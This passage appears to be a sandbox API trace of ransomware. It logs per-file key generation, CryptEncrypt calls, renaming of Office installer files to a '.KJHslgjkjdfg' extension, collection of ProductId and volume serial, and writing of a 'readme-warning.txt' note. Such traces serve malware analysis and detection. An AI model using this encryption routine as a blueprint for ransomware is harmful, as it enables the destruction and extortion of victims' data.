dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.936] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0146.936] CryptDestroyKey (hKey=0x2f123e0) returned 1 [0146.936] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.936] SetEndOfFile (hFile=0x124) returned 1 [0146.939] GetProcessHeap () returned 0x2ef0000 [0146.939] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.939] GetProcessHeap () returned 0x2ef0000 [0146.939] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.939] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.kjhslgjkjdfg")) returned 1 [0146.940] CloseHandle (hObject=0x124) returned 1 [0146.940] FindNextFileW (in: hFindFile=0x2f123a0, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0146.940] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.941] GetProcessHeap () returned 0x2ef0000 [0146.941] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.941] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.941] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0146.941] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x3, lpOverlapped=0x0) returned 1 [0146.943] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f123e0) returned 1 [0146.943] CryptSetKeyParam (hKey=0x2f123e0, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.943] GetProcessHeap () returned 0x2ef0000 [0146.943] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.943] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0146.943] CryptDestroyKey (hKey=0x2f123e0) returned 1 [0146.943] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0146.943] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0146.943] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0146.943] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0146.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0146.944] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.944] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f123e0) returned 1 [0146.944] CryptSetKeyParam (hKey=0x2f123e0, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.944] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x61d, lpOverlapped=0x0) returned 1 [0146.944] CryptEncrypt (in: hKey=0x2f123e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x620, dwBufLen=0x620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x620) returned 1 [0146.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.944] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x620, lpOverlapped=0x0) returned 1 [0146.944] CryptDestroyKey (hKey=0x2f123e0) returned 1 [0146.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.945] SetEndOfFile (hFile=0x124) returned 1 [0146.945] GetProcessHeap () returned 0x2ef0000 [0146.946] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.946] GetProcessHeap () returned 0x2ef0000 [0146.946] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.946] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.kjhslgjkjdfg")) returned 1 [0146.946] CloseHandle (hObject=0x124) returned 1 [0146.946] FindNextFileW (in: hFindFile=0x2f123a0, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0146.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.947] GetProcessHeap () returned 0x2ef0000 [0146.947] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.947] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.947] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0146.947] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.949] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f181c8) returned 1 [0146.950] CryptSetKeyParam (hKey=0x2f181c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.950] GetProcessHeap () returned 0x2ef0000 [0146.950] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0146.950] CryptEncrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0146.950] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.950] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0146.950] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0146.950] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0146.950] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0146.950] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0146.950] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0146.950] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f181c8) returned 1 [0146.950] CryptSetKeyParam (hKey=0x2f181c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.950] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.950] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x8f8, lpOverlapped=0x0) returned 1 [0146.950] CryptEncrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x900, dwBufLen=0x900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x900) returned 1 [0146.951] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.951] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x900, lpOverlapped=0x0) returned 1 [0146.951] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.951] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.951] SetEndOfFile (hFile=0x124) returned 1 [0146.953] GetProcessHeap () returned 0x2ef0000 [0146.953] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.953] GetProcessHeap () returned 0x2ef0000 [0146.953] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.953] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0146.954] CloseHandle (hObject=0x124) returned 1 [0146.954] FindNextFileW (in: hFindFile=0x2f123a0, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0146.954] GetProcessHeap () returned 0x2ef0000 [0146.954] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.954] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f181c8) returned 1 [0146.954] CryptDecrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0146.954] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.954] GetProcessHeap () returned 0x2ef0000 [0146.954] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0146.954] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f181c8) returned 1 [0146.954] CryptDecrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0146.955] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.955] GetProcessHeap () returned 0x2ef0000 [0146.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0146.955] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f181c8) returned 1 [0146.955] CryptDecrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0146.955] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.955] GetProcessHeap () returned 0x2ef0000 [0146.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0146.955] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f181c8) returned 1 [0146.955] CryptDecrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0146.955] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.955] GetProcessHeap () returned 0x2ef0000 [0146.955] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0146.955] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f181c8) returned 1 [0146.955] CryptDecrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0146.955] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.955] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0146.955] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0146.956] RegCloseKey (hKey=0x124) returned 0x0 [0146.956] GetProcessHeap () returned 0x2ef0000 [0146.956] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0146.956] GetProcessHeap () returned 0x2ef0000 [0146.956] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0146.956] GetProcessHeap () returned 0x2ef0000 [0146.956] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0146.956] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f181c8) returned 1 [0146.956] CryptDecrypt (in: hKey=0x2f181c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0146.956] CryptDestroyKey (hKey=0x2f181c8) returned 1 [0146.956] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.956] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.956] GetProcessHeap () returned 0x2ef0000 [0146.956] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0146.956] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.957] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.957] GetProcessHeap () returned 0x2ef0000 [0146.957] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0146.957] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0146.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.958] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0146.960] CloseHandle (hObject=0x124) returned 1 [0146.977] GetProcessHeap () returned 0x2ef0000 [0146.977] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0146.977] GetProcessHeap () returned 0x2ef0000 [0146.977] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0146.977] GetProcessHeap () returned 0x2ef0000 [0146.977] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0146.977] GetProcessHeap () returned 0x2ef0000 [0146.977] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.977] FindClose (in: hFindFile=0x2f123a0 | out: hFindFile=0x2f123a0) returned 1 [0146.978] GetProcessHeap () returned 0x2ef0000 [0146.978] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0146.978] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0146.978] GetProcessHeap () returned 0x2ef0000 [0146.978] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0146.978] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0146.988] GetProcessHeap () returned 0x2ef0000 [0146.988] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0146.988] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.988] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0146.988] GetProcessHeap () returned 0x2ef0000 [0146.988] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0146.988] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.989] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2503680) returned 1 [0146.989] GetProcessHeap () returned 0x2ef0000 [0146.989] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.989] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.989] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.989] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | 